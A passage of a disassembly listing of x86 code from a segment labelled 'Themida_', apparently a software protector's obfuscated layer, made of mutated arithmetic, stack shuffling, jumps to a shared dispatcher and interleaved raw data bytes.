		align 2
		dw 15E9h
		db 10h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5ADA37:				; CODE XREF: Themida_:005A54E5j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		push	74A2h
		jmp	loc_59DC83
; ---------------------------------------------------------------------------


loc_5ADA51:				; CODE XREF: Themida_:0059A6BCj
					; Themida_:005AD5FAj
		add	ecx, esi
		pop	esi
		sub	ecx, 61022087h
		push	dword ptr [esp]
		pop	ebx
		push	eax
		mov	eax, esp
		push	ebx
		jmp	loc_5AA014
; ---------------------------------------------------------------------------


loc_5ADA67:				; CODE XREF: Themida_:005A0810j
		sub	bl, 41h
		jmp	loc_59C2AD
; ---------------------------------------------------------------------------


loc_5ADA6F:				; CODE XREF: Themida_:005A8C21j
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5AE082
; ---------------------------------------------------------------------------
		dd 4EC81h, 2C890000h, 0E95D5424h, 0FFFF9746h, 258BE56h
		dd 99E91239h
		db 38h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5ADA93:				; CODE XREF: Themida_:005A27A2j
		mov	[esp], cx
		push	edx
		jmp	loc_5A6357
; ---------------------------------------------------------------------------


loc_5ADA9D:				; CODE XREF: Themida_:0059E172j
		pop	eax
		sub	dword ptr [esp+4], 7A7D7A3Fh
		add	dword ptr [esp+4], 6A2E5B75h
		add	[esp+4], ebx
		push	ecx
		mov	ecx, 6A2E5B75h
		sub	[esp+8], ecx
		pop	ecx
		push	ebp
		mov	ebp, 7A7D7A3Fh
		add	[esp+8], ebp
		pop	ebp
		jmp	loc_5A12D1
; ---------------------------------------------------------------------------
		db 5Ah,	29h, 0F0h
		dd 2404335Eh, 33240431h, 11E92404h
		db 17h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5ADADF:				; CODE XREF: Themida_:005AB9ABj
		add	esi, eax
		sub	esi, 2C477FDAh
		mov	eax, [esp]
		add	esp, 4
		push	220Ah
		mov	[esp], ecx
		mov	ecx, 2
		add	esi, ecx
		pop	ecx
		push	31AEh
		mov	[esp], esi
		push	dword ptr [esp+4]
		jmp	loc_5AB704
; ---------------------------------------------------------------------------


loc_5ADB0E:				; CODE XREF: Themida_:005A5B7Aj
		mov	[esp], ebp
		jmp	loc_5A5A3C
; ---------------------------------------------------------------------------
		dw 0C888h
		dd 88C18851h, 1EE959CFh
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5ADB23:				; CODE XREF: Themida_:005A74DBj
		mov	esi, 7E1C2E7Fh
		push	eax
		mov	eax, 414B3D5Ah
		or	eax, 95954EBh
		add	eax, 25B8907Dh
		jmp	loc_5AA491
; ---------------------------------------------------------------------------
		db 57h,	0FFh, 74h
		dd 34FF0424h, 89525F24h, 4C281E2h, 55000000h, 4BDh, 5DEA0100h
		dd 5C241487h, 0E924048Fh, 0FFFF2B24h
; ---------------------------------------------------------------------------


loc_5ADB64:				; CODE XREF: Themida_:005AD0ACj
		mov	ebx, ecx
		pop	ecx
		jmp	loc_59DF00
; ---------------------------------------------------------------------------


loc_5ADB6C:				; CODE XREF: Themida_:005AC2B0j
		push	0C14h
		mov	[esp], esi
		mov	esi, 2
		jmp	loc_5A8633
; ---------------------------------------------------------------------------
		dw 440Ch
		dd 0B588830Fh, 804FFFEh, 0FFFB4BE9h, 243C8BFFh,	4D0579BEh
		dd 8BF531B1h, 21E92434h, 0BAFFFF90h, 78005B2Ch,	0F6E9D2F7h
		db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5ADBAB:				; CODE XREF: Themida_:005A475Ej
		mov	[esp], edi
		push	3907h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 42E949E8h
		jmp	loc_5AACD9
; ---------------------------------------------------------------------------


loc_5ADBD2:				; CODE XREF: Themida_:005AD770j
		add	ebx, 27954C3Eh
		jmp	loc_5AF1EA
; ---------------------------------------------------------------------------


loc_5ADBDD:				; CODE XREF: Themida_:0059A7BAj
					; Themida_:loc_59D4FEj	...
		sub	eax, esi
		pop	esi
		push	6A73h
		jmp	loc_5AD6C3
; ---------------------------------------------------------------------------


loc_5ADBEA:				; CODE XREF: Themida_:005A05B5j
		add	edi, 1B748BEFh
		sub	edi, 4E284FD3h
		not	edi
		not	edi
		jmp	loc_5A1406
; ---------------------------------------------------------------------------


loc_5ADBFF:				; CODE XREF: Themida_:005ADF25j
		push	ecx
		jmp	loc_5A4463
; ---------------------------------------------------------------------------
		db 68h,	9Fh, 1Bh
		dd 34890000h, 751BE924h, 34FFFFFFh, 2434FF24h, 0E924048Bh
		dd 0FFFF10EFh
; ---------------------------------------------------------------------------


loc_5ADC20:				; CODE XREF: Themida_:005A6E94j
		shl	al, 8
		jmp	loc_59F42A
; ---------------------------------------------------------------------------
		dd 40E9F001h, 54FFFFE5h, 0EE35E95Fh, 8B66FFFFh,	7D68240Ch
		dd 8900004Dh, 0EC81241Ch, 4, 81242489h,	42404h,	90E90000h
		dd 5DFFFFABh, 0FFFE70E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5ADC5D:				; CODE XREF: Themida_:005A49F0j
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5ADC74:				; CODE XREF: Themida_:loc_59CF0Bj
					; Themida_:005A8A71j
		add	ch, 2Fh
		jmp	loc_59ED68
; ---------------------------------------------------------------------------


loc_5ADC7C:				; CODE XREF: Themida_:005AF365j
		mov	al, [esp]
		add	esp, 2
		shl	al, 6
		jmp	loc_5A4694
; ---------------------------------------------------------------------------


loc_5ADC8A:				; CODE XREF: Themida_:0059B80Cj
		pop	ebp
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_5ABFCB
; ---------------------------------------------------------------------------
		dd 0E908EEC1h, 0FFFFF7EEh, 68242C89h, 2103h, 24048F54h
		dd 4240483h, 6DF6685Dh,	5EE90000h
		db 43h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5ADCBF:				; CODE XREF: Themida_:0059E38Aj
		xor	[esp], ebx
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_5A477A
; ---------------------------------------------------------------------------


loc_5ADCCD:				; CODE XREF: Themida_:0059C12Ej
		sub	ebp, edx
		pop	edx
		mov	ebx, ebp
		pop	ebp
		jmp	loc_5AC7D8
; ---------------------------------------------------------------------------
		dd 51240489h, 0EC88DD88h, 0FFE6E3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5ADCE5:				; CODE XREF: Themida_:005A1219j
		sub	bl, cl
		mov	ecx, [esp]
		add	esp, 4
		pop	ecx
		push	19E7h
		mov	[esp], eax
		mov	ah, 0EAh
		sub	bl, 0CDh
		jmp	loc_5A185C
; ---------------------------------------------------------------------------


loc_5ADD00:				; CODE XREF: Themida_:0059FA28j
		pop	ebx
		jmp	loc_5ACFD9
; ---------------------------------------------------------------------------


loc_5ADD06:				; CODE XREF: Themida_:005AA36Cj
		add	edx, 4
		jmp	loc_59B850
; ---------------------------------------------------------------------------


loc_5ADD11:				; CODE XREF: Themida_:005A5834j
		sub	al, 0FDh
		mov	bx, [esp]
		add	esp, 2
		push	edi
		mov	edi, esp
		jmp	loc_5A60B2
; ---------------------------------------------------------------------------


loc_5ADD25:				; CODE XREF: Themida_:005A3621j
		pop	dword ptr [esp]
		mov	esp, [esp]
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5ADD37:				; CODE XREF: Themida_:005ACC1Dj
		xchg	ebp, esi
		xor	esi, 32E26BD2h
		or	esi, 10D86634h
		push	eax
		mov	eax, 270A6C93h
		or	esi, eax
		mov	eax, [esp]
		jmp	loc_5A37BF
; ---------------------------------------------------------------------------
		db 29h,	0D1h, 0E9h
		dd 0FFFFF87Eh, 4EC81h, 4890000h, 0E9E08924h, 0FFFF7F34h
; ---------------------------------------------------------------------------


loc_5ADD6C:				; CODE XREF: Themida_:005A4835j
		push	ebx
		push	6753h
		mov	[esp], ecx
		mov	ecx, 486D4833h
		jmp	loc_5A2655
; ---------------------------------------------------------------------------


loc_5ADD7F:				; CODE XREF: Themida_:005A78BEj
		shl	edx, 5
		jnz	loc_5A81CE
		add	edx, 2BD43C69h
		mov	ah, bh
		mov	bh, bh


loc_5ADD92:				; CODE XREF: Themida_:005ADFE0j
		push	ebp
		jmp	loc_5A54DD
; ---------------------------------------------------------------------------
		dd 24048B66h, 0FF178BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5ADDA1:				; CODE XREF: Themida_:0059B752j
		add	ax, di
		pop	edi
		push	6DFCh
		mov	[esp], esi
		mov	si, 307Fh
		add	si, 4F66h
		sub	ax, si
		pop	esi
		sub	ax, 7E50h
		pop	edx
		push	0C31h
		mov	[esp], ecx
		jmp	loc_5ABCC6
; ---------------------------------------------------------------------------
		dd 30F0BE56h, 0EE8105C8h, 5C830ECh, 555EF301h, 0DD23D2BDh
		dd 0ADE94D0Fh
		db 83h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5ADDE7:				; CODE XREF: Themida_:005AA7AEj
		mov	edi, 268365B5h
		xor	ebx, edi
		jmp	loc_5AD244
; ---------------------------------------------------------------------------


loc_5ADDF3:				; CODE XREF: Themida_:005A27C3j
		mov	ecx, 5BCB57A3h
		jmp	loc_5A5BC1
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 0D259669Dh, 0E99C241Ch, 0FFFEA580h, 7A0997B8h, 865AE97Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5ADE16:				; CODE XREF: Themida_:005AD2C3j
		push	edi
		jmp	loc_59DCEF
; ---------------------------------------------------------------------------


loc_5ADE1C:				; CODE XREF: Themida_:0059F7A8j
		bts	[esp], ax
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5ADE27:				; CODE XREF: Themida_:00599199j
					; Themida_:005A5983j
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		push	54083658h
		push	dword ptr [esp]
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edi
		mov	edi, 862EDBh
		jmp	loc_5A58CF
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 0E2895224h, 4B850h, 7AE90000h
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5ADE63:				; CODE XREF: Themida_:0059D5B3j
		pop	dword ptr [esp]
		jmp	loc_5A7395
; ---------------------------------------------------------------------------


loc_5ADE6B:				; CODE XREF: Themida_:005AB13Fj
		mov	ebp, 125158D4h
		dec	ebp
		add	ebp, 651B3189h
		not	ebp
		or	ebp, 6632DCDh
		shl	ebp, 3
		jmp	loc_5A74B9
; ---------------------------------------------------------------------------
		db 89h
		dd 0BB532404h, 2C827485h, 271ECB81h, 0D3F728EDh, 6805CB81h
		dd 8B0F507Ah, 0FFFF327Ch, 0F04EBC1h, 0FFAD5985h, 30E9FFh
		dd 685DFFFFh, 7A31h, 55240C89h,	174C06B9h, 28C18104h, 0F164942h
		dd 0FF7E928Ch, 61E181FFh, 0F151F1Eh, 0FEBB5788h, 0AFC181FFh
		dd 0F25A052h, 0FEBAAE82h, 29C981FFh, 0F4B6E61h,	0FEA50A8Fh
		dd 0BC981FFh, 0E96C7750h, 0FFFECA69h
; ---------------------------------------------------------------------------


loc_5ADEFC:				; CODE XREF: Themida_:005A40C8j
		mov	[esp], edi
		mov	edi, 7F912A4Dh
		neg	edi
		sub	edi, 6AA564E4h
		add	ebx, edi
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_59BCCE
; ---------------------------------------------------------------------------


loc_5ADF19:				; CODE XREF: Themida_:0059C797j
					; Themida_:005A52D4j
		xor	ecx, edx
		xor	edx, ecx
		xor	ecx, edx
		xchg	ebx, edx
		not	ebx
		xchg	ebx, edx
		jmp	loc_5ADBFF
; ---------------------------------------------------------------------------


loc_5ADF2A:				; CODE XREF: Themida_:005A15EEj
		add	al, 1Bh
		mov	edx, [esp]
		add	esp, 4
		add	al, 0CEh
		sub	al, dl
		sub	al, 0CEh
		push	ecx
		mov	cl, 72h
		sub	al, cl
		pop	ecx
		push	ecx
		push	ax
		mov	al, 2
		mov	cl, al
		pop	ax
		push	edx
		mov	dl, 0C2h
		sub	dl, 0A1h
		jmp	loc_5A8077
; ---------------------------------------------------------------------------


loc_5ADF52:				; CODE XREF: Themida_:005ACC3Ej
		xor	edx, 8B21CDFFh
		push	ebp
		mov	ebp, edx
		push	esi
		mov	esi, ebp
		mov	eax, esi
		pop	esi
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_5AD3E7
; ---------------------------------------------------------------------------


loc_5ADF70:				; CODE XREF: Themida_:005A5CE4j
		pop	esi
		sub	ecx, 3419449Dh
		sub	ecx, 23196CB5h
		sub	ecx, edi
		add	ecx, 23196CB5h
		jmp	loc_5A0E43
; ---------------------------------------------------------------------------


loc_5ADF8A:				; CODE XREF: Themida_:loc_5AE597j
		xor	ebx, 58616B55h
		jmp	loc_5A59A4
; ---------------------------------------------------------------------------


loc_5ADF95:				; CODE XREF: Themida_:005A74ACj
		add	esp, 4
		shr	edx, 3
		shr	edx, 5
		add	edx, 0BE6C717Ah
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		and	eax, ecx
		pop	ecx
		shr	eax, 0Ch
		xor	eax, ecx
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		xor	esi, ebx
		xor	ebx, esi
		xor	esi, ebx
		xor	ebx, ecx
		xor	ecx, ebx
		jmp	loc_5A9FC9
; ---------------------------------------------------------------------------


loc_5ADFCC:				; CODE XREF: Themida_:005A8449j
		pop	edx
		xor	edx, 209165C9h
		sub	edx, 5DA67AECh
		jmp	loc_599A80
; ---------------------------------------------------------------------------


loc_5ADFDE:				; CODE XREF: Themida_:005A2703j
		push	esp
		pop	ebx
		jmp	loc_5ADD92
; ---------------------------------------------------------------------------


loc_5ADFE5:				; CODE XREF: Themida_:0059B328j
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5ADFEA:				; CODE XREF: Themida_:00598FDFj
		mov	edi, 4
		mov	ebp, edi
		pop	edi
		add	eax, 0F9149BFh
		add	eax, 3A752C9Ah
		add	eax, ebp
		sub	eax, 3A752C9Ah
		jmp	loc_59FE2B
; ---------------------------------------------------------------------------
		dd 0F087BB53h, 0D80112D9h, 0A0B9E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AE016:				; CODE XREF: Themida_:0059F4E7j
		xor	ecx, [esp]
		pop	esp
		add	ebp, 261A5F41h
		push	425Ah
		mov	[esp], ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 8947F7Ch
		and	ebp, 3F891131h
		add	ebp, 2A43308Ch
		sub	ebp, 66CD2761h
		sub	ebp, 0CBF61A57h
		add	ebx, ebp
		pop	ebp
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5A1B22
; ---------------------------------------------------------------------------


loc_5AE057:				; CODE XREF: Themida_:0059CF1Dj
					; Themida_:005AE927j
		mov	[esp], ebp
		mov	ebp, 672C0C02h
		jmp	loc_59F00E
; ---------------------------------------------------------------------------


loc_5AE064:				; CODE XREF: Themida_:0059EA92j
		add	cl, al
		jmp	loc_59E01C
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 245C0100h, 51505B04h, 0E97D92B9h, 0A5E9E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AE082:				; CODE XREF: Themida_:005ADA73j
		add	esp, 4
		jmp	loc_5A4702
; ---------------------------------------------------------------------------
		dw 53ADh
		dd 326E84BBh, 81D3F728h, 3C6B5DEBh, 68B0E9A9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AE09E:				; CODE XREF: Themida_:005AECCAj
		push	eax
		push	edx
		mov	edx, 29377812h
		mov	eax, edx
		pop	edx
		not	eax
		or	eax, 309E022Bh
		jp	loc_59EB36
		shr	eax, 2
		jmp	loc_5AAC2D
; ---------------------------------------------------------------------------


loc_5AE0BD:				; CODE XREF: Themida_:0059D665j
		pop	dword ptr [esp]
		jmp	loc_5A9B3B
; ---------------------------------------------------------------------------


loc_5AE0C5:				; CODE XREF: Themida_:005A9BCEj
		push	edx
		jmp	loc_5AE469
; ---------------------------------------------------------------------------


loc_5AE0CB:				; CODE XREF: Themida_:005AB6DBj
		sub	eax, 151EA888h
		sub	ecx, eax
		pop	eax
		jmp	loc_5ACB7C
; ---------------------------------------------------------------------------


loc_5AE0D8:				; CODE XREF: Themida_:005ABFC6j
		push	edi
		mov	edi, 33985F51h
		sub	ebp, edi
		pop	edi
		pop	eax
		push	ebp
		jmp	loc_5A0391
; ---------------------------------------------------------------------------


loc_5AE0E8:				; CODE XREF: Themida_:005ABE49j
		inc	edi
		sub	edi, 7CED75E3h
		add	esi, edi
		pop	edi
		sub	ecx, esi
		pop	esi
		add	ebp, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	ebx
		xchg	eax, esi
		jmp	loc_59D359
; ---------------------------------------------------------------------------


loc_5AE10E:				; CODE XREF: Themida_:0059C5FDj
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 49302DFAh
		jmp	loc_5A5B1A
; ---------------------------------------------------------------------------


loc_5AE121:				; CODE XREF: Themida_:005A0F4Aj
		push	edi
		push	esp
		jmp	loc_5A8B05
; ---------------------------------------------------------------------------


loc_5AE128:				; CODE XREF: Themida_:005A7EC3j
		jmp	loc_59AA59
; ---------------------------------------------------------------------------


loc_5AE12D:				; CODE XREF: Themida_:005AEA10j
		shr	ebx, 3
		jmp	loc_5A994C
; ---------------------------------------------------------------------------


loc_5AE135:				; CODE XREF: Themida_:005A67CFj
		push	76F8h
		mov	[esp], esi
		mov	esi, 32043A1Dh
		push	ebx
		mov	ebx, 3DD30B02h
		jmp	loc_5A86A6
; ---------------------------------------------------------------------------
		db 83h,	0E9h, 4
		dd 5C240C87h, 0E9242C89h, 0FFFFED01h
; ---------------------------------------------------------------------------


loc_5AE15C:				; CODE XREF: Themida_:0059E296j
		mov	eax, [esp]
		jmp	loc_5A6787
; ---------------------------------------------------------------------------


loc_5AE164:				; CODE XREF: Themida_:005A7871j
		inc	ebx
		jno	loc_59CF81
		add	ebx, 583F9CBFh
		jmp	loc_59E454
; ---------------------------------------------------------------------------
		dw 0C1C6h
		db 0D5h
; ---------------------------------------------------------------------------


loc_5AE179:				; CODE XREF: Themida_:0059A3DCj
		mov	edi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_5A6993
; ---------------------------------------------------------------------------
		dw 0CE9h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AE18F:				; CODE XREF: Themida_:005AAAA2j
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AE19A:				; CODE XREF: Themida_:005A9011j
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	ecx, 6
		push	74ABh
		mov	[esp], edx
		push	6199h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		jmp	loc_5A1D04
; ---------------------------------------------------------------------------
		db 68h,	4, 0
		dd 0E9590000h, 915h
; ---------------------------------------------------------------------------


loc_5AE1E0:				; CODE XREF: Themida_:005A9218j
		jmp	loc_59DCB2
; ---------------------------------------------------------------------------


loc_5AE1E5:				; CODE XREF: Themida_:005A2306j
		mov	[esp], edx
		mov	edx, 6F12211Fh
		add	edi, edx
		pop	edx
		push	edx
		jmp	loc_5A177D
; ---------------------------------------------------------------------------
		dw 0DDBFh
		dd 0E9EEBA22h, 0FFFF0AFCh, 50242C8Bh, 405E089h,	51000000h
		dd 4B9h, 0E9C80100h, 0FFFF31D0h
; ---------------------------------------------------------------------------


loc_5AE218:				; CODE XREF: Themida_:005A37BAj
		mov	[esp], edx
		jmp	loc_5A77D1
; ---------------------------------------------------------------------------


loc_5AE220:				; CODE XREF: Themida_:0059C40Aj
					; Themida_:0059CA61j
		shl	esi, 2
		jns	loc_5A9253
		push	1768h
		mov	[esp], ecx
		jmp	loc_5AF040
; ---------------------------------------------------------------------------
		dw 4A5Eh
; ---------------------------------------------------------------------------


loc_5AE238:				; CODE XREF: Themida_:005AEF06j
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_5AB1BA
; ---------------------------------------------------------------------------


loc_5AE244:				; CODE XREF: Themida_:005AAE39j
		pop	esp
		sub	esp, 2
		mov	[esp], cx
		mov	cl, 6Fh
		push	edx
		push	ebx
		mov	bh, 27h
		shl	bh, 1
		jmp	loc_5AE370
; ---------------------------------------------------------------------------


loc_5AE25C:				; CODE XREF: Themida_:0059B4E3j
		mov	[esp], edx
		mov	edx, 417E1182h
		or	ecx, edx
		pop	edx
		sub	ecx, 16DB5201h
		sub	ebx, ecx
		jmp	loc_5A0D27
; ---------------------------------------------------------------------------


loc_5AE274:				; CODE XREF: Themida_:005A9B0Aj
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 44495209h
		neg	ebp
		push	esi
		mov	esi, 0FFFFFFFFh
		jmp	loc_598965
; ---------------------------------------------------------------------------
		db 4Fh,	56h, 0BEh
		dd 0EB3FEC42h, 295EF701h, 81585FFDh, 2C5h, 256DE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AE2AE:				; CODE XREF: Themida_:0059EC76j
		jg	loc_599407
		jmp	loc_59C082
; ---------------------------------------------------------------------------


loc_5AE2B9:				; CODE XREF: Themida_:005A8BA5j
		mov	[esp], ebp
		mov	ebp, 4
		add	edx, 753F1F96h
		sub	edx, ebp
		sub	edx, 753F1F96h
		mov	ebp, [esp]
		jmp	loc_5A4302
; ---------------------------------------------------------------------------


loc_5AE2D7:				; CODE XREF: Themida_:005A2DC0j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_5AB7DE
; ---------------------------------------------------------------------------


loc_5AE2ED:				; CODE XREF: Themida_:005AC0D2j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	44C0h
		mov	[esp], ebx
		push	eax
		mov	eax, 54CA26BFh
		jmp	loc_5A0DB8
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0ADE93C77h
		db 90h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AE30F:				; CODE XREF: Themida_:00599402j
		push	ebp
		mov	ebp, 54696268h
		jmp	loc_59DA57
; ---------------------------------------------------------------------------


loc_5AE31A:				; CODE XREF: Themida_:005ACF7Bj
		mov	ecx, esp
		push	ebp
		mov	ebp, 627717F2h
		jmp	loc_5ACDF0
; ---------------------------------------------------------------------------


loc_5AE327:				; CODE XREF: Themida_:005ABB55j
		xor	ebx, edi
		pop	edi
		and	ecx, ebx
		pop	ebx
		add	ecx, 0FFFFFDB0h
		jmp	loc_5A224C
; ---------------------------------------------------------------------------


loc_5AE338:				; CODE XREF: Themida_:005A7944j
		add	esp, 4
		add	al, bh
		pop	ebx
		sub	al, bl
		jmp	loc_59F17A
; ---------------------------------------------------------------------------
		dd 4BA4BA52h, 0C2E91C74h
		db 5Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AE353:				; CODE XREF: Themida_:0059E2C7j
		pop	dword ptr [esp]
		mov	esp, [esp]
		bswap	eax
		push	4F6Ch
		mov	[esp], eax
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AE368:				; CODE XREF: Themida_:005AA334j
		add	esp, 4
		jmp	loc_59E5D7
; ---------------------------------------------------------------------------


loc_5AE370:				; CODE XREF: Themida_:005AE257j
		js	loc_59BA76
		sub	bh, 3Ch
		push	ecx
		mov	ch, bh
		mov	dl, ch
		pop	ecx
		pop	ebx
		sub	dl, 0C2h
		add	dl, 24h
		add	dl, 1
		add	dl, 0B2h
		shl	dl, 7
		xor	dl, 0D6h
		jmp	loc_5A9557
; ---------------------------------------------------------------------------


loc_5AE397:				; CODE XREF: Themida_:005A8C01j
		xor	ebx, 0AB6AB3BBh
		add	ecx, ebx
		pop	ebx
		add	ecx, ebp
		push	edi
		mov	edi, 48883BFFh
		sub	edi, 3AB7846h
		add	edi, 0F5205C66h
		sub	ecx, edi
		pop	edi
		pop	ebp
		push	ebp
		mov	ebp, 5A753DF2h
		shl	ebp, 2
		push	edx
		push	ecx
		mov	ecx, 4DC570E8h
		mov	edx, ecx
		jmp	loc_59DD9A
; ---------------------------------------------------------------------------


loc_5AE3CF:				; CODE XREF: Themida_:005A591Cj
		add	ebx, 75AF7CAEh
		and	ebx, 64F91E7Ch
		add	ebx, 288F60F0h
		sub	esp, 4
		mov	[esp], esi
		push	edx
		mov	edx, 0B627CB7h
		add	edx, 110275DAh
		not	edx
		and	edx, 3C260183h
		ja	loc_59A310
		inc	edx
		jo	loc_5AE610
		jmp	loc_59D1D8
; ---------------------------------------------------------------------------
		dd 2414F751h, 55C98159h, 814D5F7Ch, 0F24E0FC1h,	0FFCD2992h
		dd 57592434h, 0C781E789h, 4, 0FF31D3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AE435:				; CODE XREF: Themida_:005A18EFj
		mov	[esp], ebx
		jmp	loc_59DBB6
; ---------------------------------------------------------------------------
		db 64h,	8Fh, 2
		dd 0FE9F47E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AE445:				; CODE XREF: Themida_:005A655Cj
		mov	[esp], dx
		mov	dl, 34h
		xor	bl, dl
		mov	dx, [esp]
		add	esp, 2
		push	ebx
		not	byte ptr [esp]
		jmp	loc_59B606
; ---------------------------------------------------------------------------


loc_5AE460:				; CODE XREF: Themida_:0059D9DCj
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AE469:				; CODE XREF: Themida_:005AE0C6j
		push	56362FD7h
		pop	edx
		push	esi
		mov	esi, 37136617h
		jmp	loc_59C8FB
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24348904h, 8630E668h, 2434FF5Ah, 8324348Bh, 545204C4h
		dd 0FEE6E9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AE495:				; CODE XREF: Themida_:005AE8BEj
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		pop	ecx
		jmp	loc_5A1970
; ---------------------------------------------------------------------------


loc_5AE4A5:				; CODE XREF: Themida_:005AA7CDj
		neg	edx
		add	edx, 2F52674Fh
		jmp	loc_59FDEF
; ---------------------------------------------------------------------------


loc_5AE4B2:				; CODE XREF: Themida_:0059B5A3j
		add	edx, 4
		push	edi
		mov	edi, 4
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		push	6B7Ah
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_59FE6C
; ---------------------------------------------------------------------------


loc_5AE4DE:				; CODE XREF: Themida_:005A3A21j
		shr	dh, 6
		js	loc_5A7920
		jmp	loc_5A44FD
; ---------------------------------------------------------------------------
		dd 2474FF53h, 241C8B04h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5A08B6
; ---------------------------------------------------------------------------


loc_5AE510:				; CODE XREF: Themida_:0059E9D0j
		or	ecx, 5DBE036Ch
		inc	ecx
		add	ecx, 0A8C1187Ah
		sub	esi, ecx
		jmp	loc_5A4A22
; ---------------------------------------------------------------------------


loc_5AE524:				; CODE XREF: Themida_:005AA604j
		add	edx, ebx
		pop	ebx
		add	edx, 4
		jmp	loc_5A215C
; ---------------------------------------------------------------------------
		db 66h
		dd 0E924248Bh, 0FFFF81D7h, 405h, 4C08300h, 5C240487h, 33243C31h
		dd 3C31243Ch, 2434FF24h, 4C4835Eh, 0FF1771E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AE559:				; CODE XREF: Themida_:005AEB8Aj
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AE56A:				; CODE XREF: Themida_:0059B831j
		pop	esi
		and	eax, ecx
		jmp	loc_5ACAE1
; ---------------------------------------------------------------------------


loc_5AE572:				; CODE XREF: Themida_:005A53ECj
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------
		dd 24048B66h, 5BE95455h
		db 6Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AE58F:				; CODE XREF: Themida_:005AA2F8j
		pop	eax
		add	ebx, edi
		jmp	loc_59AF5D
; ---------------------------------------------------------------------------


loc_5AE597:				; CODE XREF: Themida_:0059FBA7j
		jmp	loc_5ADF8A
; ---------------------------------------------------------------------------


loc_5AE59C:				; CODE XREF: Themida_:loc_59FE36j
					; Themida_:005AAF05j
		add	eax, edx
		jmp	loc_5A6DB5
